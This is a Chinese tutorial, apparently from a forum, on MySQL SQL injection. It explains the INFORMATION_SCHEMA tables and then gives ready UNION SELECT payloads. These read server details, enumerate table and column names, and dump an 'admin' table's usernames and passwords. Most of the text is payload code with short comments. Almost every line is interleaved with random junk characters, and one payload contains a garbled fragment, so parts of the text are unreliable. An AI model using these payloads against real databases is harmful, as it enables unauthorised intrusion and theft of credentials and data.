本文介绍MYSQL盲注的一些语句和方法
% B6 B; T7 t r3 ?+ A4 x7 v, d2 _; x; C6 V5 B
学习盲注前先了解下 IFORMATION_SCHEMA 库
9 v! Z$ Q# Q( R
( R: Y% `- _5 ?& d% BMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有( x7 z ? N" O% a& L. T, X9 m. S
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
( m# B; ^' m R9 r- X1.得到所有数据库名:
* B+ G, z4 h6 c0 }9 T8 C|SCHEMATA ->存储数据库名的表% J4 r# v" b V6 ~: n, E% U- V
|---字段:SCHEMA_NAME ->数据库名称/ t6 a; D9 ~' M1 J" H! u& G
& }. s) J6 d( c y- L% y
|TABLES ->存储表名
6 Y5 f5 l, z- g|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名0 {/ {" r7 G* J
|---字段:TABLE_NAME ->存储表的表名
7 E6 K3 O: h' d5 D: G4 `( a$ n8 E: ^. }
|COLUMNS ->存储的字段名表
. j) B4 I2 r0 y- D' d ]|---字段:TABLE_SCHEMA ->该字段所属数据库名
% |) [$ T- Q# V+ [% T' U* S|---字段:TABLE_NAME ->存储所属表的名称
" I% Q9 A, f6 F8 ?" v u* K9 K. N, e# {
|---字段:COLUMN_NAME ->该字段的名称, W' P% r) s/ J5 V
/ L% P8 f# O/ Q! M* X+ }2 D
! }5 o @* A# v i) D6 I
; u, H! u8 c% t& c' `4 R w7 @% i# a
###########################################################################/ q) `6 q9 P5 K4 K n
# j6 s5 R, C( P8 ?) }0 Q" D9 y; l; @
0x001 获取系统信息:
p3 l/ g" C# B- }7 O6 R* }' z
4 C# T$ i" W' ~6 u- p4 z Runion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*! s0 e+ d @. D6 ~
2 E- _0 @9 r% h% o) ^2 G8 J
/*
' z: z. i- E+ M1 _5 B
; y( [7 H2 v# e0 h! E0 `0 o- R# t@@global.version_compile_os 获取系统版本) D6 ?% q9 X0 k9 a$ [, v
" X$ k. k; s8 } t+ p) O! ?@@datadir 数据库路径
( ]' `+ E" {/ W2 \8 G7 ^$ S0 edatabase() 当前数据库名称
1 |% `' ~ b" g: e0x3c62723e 换行HEX值5 x; v* D1 D, B. ~% a0 S* |+ _! j
. o. g( x: ]! k; R1 I1 j0 O
*/
2 [5 n3 C* t' G2 e4 I$ t; O; [1 }, A4 I2 c2 G4 i1 s
4 z4 d e+ ~, q- e
2 F' u5 f' L, i8 R5 |- X8 D! n
######################################################################( ^. P/ o2 N+ G7 n4 N- w% S
& ^" K( K) C' A d0 U+ a
0x002 获取表名
+ H: w7 O2 w8 q. a
- r# Y2 ~( o: @+ uunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
" E$ I2 T% _5 X+ l& m) t) ?$ N: F1 p
" d% t' n' ~& G/ ~ a; m
+ V) [9 V Y! W" _/ }) I/ P/*
0 M/ H/ O6 W- {1 `3 W$ l$ }# c( g1 B9 t# E4 J4 C9 x
0x67617264656e 为当前数据库名
7 \! X6 n2 }- E8 P' X. B8 o
# y1 Z/ `* E& z9 F( xgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
' l a4 N$ u8 C- e: V* z3 c+ i
. M0 _/ w- X. i% C- d |8 s*/
+ m9 b$ _8 O0 R. J0 \; K h$ A1 g9 r/ H2 \# s
######################################################################
7 E" J- \- a9 F& h0 ?$ c+ q l. d8 Y6 h" _) E8 t/ N4 x& m
f2 o% K+ L b! \9 J) H \. Q' ~, P0 `9 J0 f4 f
0x003 获取字段: j9 S) U2 c n w
+ P2 a7 P) o/ r! xunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
3 ~% B& M* q6 V; S7 v
8 _6 L5 J `) U1 k% a7 s/*2 i4 u; ?/ o9 i2 L# ~9 j2 @* U
6 _, J+ U: i4 }/ B% ^0 J
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
0 F2 {" B; S' ^( P% [
8 x9 g- `! A- ~0x61646d696e ->选择一个表
3 p, ^3 _1 E6 g4 M/ ?/ h) S+ v8 ]7 m" @% _( I
0x67617264656e ->数据库名 Y. _9 R7 W3 n3 V/ ^0 j j1 @; B
: J) S. I2 e) J4 ^0 l# V*/
X( o2 \( @( a* l; G7 p7 z! @% P$ g9 H7 {
#####################################################################
! Y* B7 A$ J- J b6 W( \) J m- F5 f! |
; L: T ?% w) c9 F
4 s0 F' N/ j3 C6 c" ?# O& @' J
0x004 获取数据
6 G" _( i. o: g
2 E7 v9 t9 I) v: r% dunion select 1,2,3
- S! L4 m% ^9 P$ ^1 k,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
+ F; r4 f- _4 X$ S" C% p @% p
4 N" p0 _ s- } f3 C3 y9 a! C; runion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin# K- I4 n U H# _0 {, K9 u' f
. U8 n0 M- k' C2 m; D: P7 V- k; w
* a, n; ~4 @& T% \4 E+ K g# g6 h3 @6 F1 K# y& a2 ]' _
/*
5 t& ]. B% l- s" x9 I6 Q! |
& Q% ^5 V6 w# G1 T/ S0x3c62723e 换行符号HEX编码
4 B7 X4 ?" c$ ^+ |( |# L/ ]. f* x) q# t0 g. a) Q
group_concat 同时获得该字段所有数据+ W1 O, Y3 [: o. e% H! U
6 a5 o* O1 n1 x2 l% j" Y
*/4 o: A. m- s8 l
, b3 V: h: V6 W: Q c |